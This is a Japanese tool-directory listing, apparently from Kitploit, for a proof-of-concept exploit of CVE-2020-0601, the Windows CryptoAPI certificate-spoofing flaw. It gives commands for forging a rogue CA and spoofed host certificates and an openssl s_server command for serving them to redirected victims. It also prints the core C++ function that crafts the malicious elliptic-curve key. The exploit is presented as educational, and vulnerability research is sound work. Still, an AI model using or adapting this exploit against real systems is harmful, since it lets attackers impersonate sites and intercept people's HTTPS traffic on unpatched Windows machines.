Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/gremwell/cve-2020-0601_poc
エクスプロイトウェブセキュリティ暗号化ペネトレーションテスト学習と教育
GitHubgremwell/cve-2020-0601_poc

cve-2020-0601_poc

CVE-2020-0601 (Windows CryptoAPI スプーフィング) の概念実証エクスプロイト。不正な CA 証明書を生成して HTTPS トラフィックを傍受します。楕円曲線攻撃を説明する詳細なソースコードが含まれます。

リポジトリを見る
2226年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

基本情報

このツールのソースコードは、Windows Crypto APIで発見されたCVE-2020-0601脆弱性の理解を助けることを目的としています。CERTの概要を参照してください。

このツール自体は、任意のドメインの証明書を生成するために使用でき、その証明書は悪意のある認証局によって署名されます。このツールは、コマンドラインで指定された公開鍵と同じ公開鍵を持つ悪意のあるCAを生成します。

脆弱なWindowsビルドのWebブラウザがこの証明書を対象とすると、信頼された証明書と見なされます。これにより、適切な位置にいるネットワークベースの攻撃者が被害者のトラフィックを傍受できるようになります。

概要

信頼されたWindows証明書へのパスを指定してツールを起動します:

root@kitploit:~
./cve-2020-0601_poc ~/path/to/USERTrustECCCertificationAuthority.crt

上記の例では、USERTrust ECC Certification Authority が以下の公開鍵とともに使用されています:

root@kitploit:~
04:1A:AC:54:5A:A9:F9:68:23:E7:7A:D5:24:6F:53:C6:5A:D8:4B:AB:C6:D5:B6:D1:E6:73:71:AE:DD:9C:D6:0C:61:FD:DB:A0:89:03:B8:05:14:EC:57:CE:EE:5D:3F:E2:21:B3:CE:F7:D4:8A:79:E0:A3:83:7E:2D:97:D0:61:C4:F1:99:DC:25:91:63:AB:7F:30:A3:B4:70:E2:C7:A1:33:9C:F3:BF:2E:5C:53:B1:5F:B3:7D:32:7F:8A:34:E3:79:79

ツールは、カレントワーキングディレクトリにいくつかの証明書と鍵を保存します:

root@kitploit:~
test-cve_evil-ca.crt -- evil CA
test-cve_evil-privkey.key -- evil CA's private key in PEM format
test-cve_evil-privkey-pk8.key -- evil CA's private key in PKCS#8 format
test-cve_host-cert.crt -- target host's certificate (example.com by default)
test-cve_host-privkey.key -- target host's private key (example.com by default)

証明書をテストするには、以下のようにopenssl s_serverを起動し、脆弱なWindowsマシンからのhttps://example.com/ のリクエストをそれに向けてリダイレクトします:

root@kitploit:~
sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443

元の証明書がキャッシュされていることを確認してください!

結果は以下のようになります: example.com spoofing

ビルド

cmake を使用して、このツールをビルドするためのメイクファイルを生成します。依存関係として以下のライブラリが必要です:

  • openssl (> 1.0)
  • cryptopp

ビルド:

root@kitploit:~
mkdir build
cd build
cmake ..
make

説明

包括的な(比較的)説明は、いずれGremwellのウェブサイトに追加される予定です。

まずはmain.cppファイルを見てください。これは、脆弱性そのものには関係ありませんが、重要なさまざまなOpenSSLラッパーを呼び出します。最も興味深い部分はcve-2020-0601_poc.cppファイルにあります:

root@kitploit:~
bool craftEvilPrivKey(const char *caPubKeyRaw, size_t caPubKeyRawLen,
                      char *outEvilPrivKeyPKCS8, size_t maxSizePKCS8, size_t *outEvilPrivKeyPKCS8Len,
                      bool doSave, const char *evilPrivKeyFileName)
{
    // load public key of the provided certificate into native CryptoPP type
    DL_Keys_ECDSA<ECP>::PublicKey caPubKey;
    caPubKey.Load(CryptoPP::ArraySource((const CryptoPP::byte *)caPubKeyRaw,
                                         caPubKeyRawLen, true).Ref());

    // generate a private key using the same curve as in the provided CA certificate
    CryptoPP::AutoSeededRandomPool prng;
    DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase;
    privKeyBase.Initialize(prng, caPubKey.GetGroupParameters());

    // get the private key elliptic curve parameters
    CryptoPP::Integer privKeyBaseExp = privKeyBase.GetPrivateExponent();
    ECP privKeyBaseCurve = privKeyBase.GetGroupParameters().GetCurve();
    CryptoPP::Integer privKeyBaseOrder = privKeyBase.GetGroupParameters().GetSubgroupOrder();

    // calculate an inverse value of the private key
    CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder);
    // produce our custom generator (base point) as a multiplication of the inverse value of our private key
    // and the public key of the provided CA certificate
    ECP::Point caPubKeyQ = caPubKey.GetPublicElement();
    ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse);

    // create an "evil" private key object using the base private's key exponent and curve but
    // with our "evil" generator (base point)
    DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey;
    evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp);

    // convert evil private key into PKCS8 format
    CryptoPP::ArraySink evilPrivKeyPKCS8As((CryptoPP::byte *)outEvilPrivKeyPKCS8, maxSizePKCS8);
    evilPrivKey.Save(evilPrivKeyPKCS8As.Ref());
    *outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength();

    if (doSave) {
        // save it as-is so this can be imported by some tools
        evilPrivKey.Save(CryptoPP::FileSink(evilPrivKeyFileName).Ref());
    }

    // the code below converts the key to DER format
    // however, as we have here our custom curve (not the "named" one), most of the
    // tools are not able to properly import it. thus, leaving this code commented-out
#ifdef SUPPORT_DER_ENCODING
    CryptoPP::ArraySink evilPrivKeyDerAs((CryptoPP::byte *)outEvilPrivKeyDer, maxSizeDer);
    privKeyToDer(evilPrivKey, evilPrivKeyDerAs.Ref());
    *outEvilPrivKeyDerLen = evilPrivKeyDerAs.TotalPutLength();
#endif

    return true;
}

ここでのコメントはかなり自明であるはずです。:-)

謝辞

kudelskisecurityブログとそこに記載されている参考文献に感謝します。

ツールをダウンロード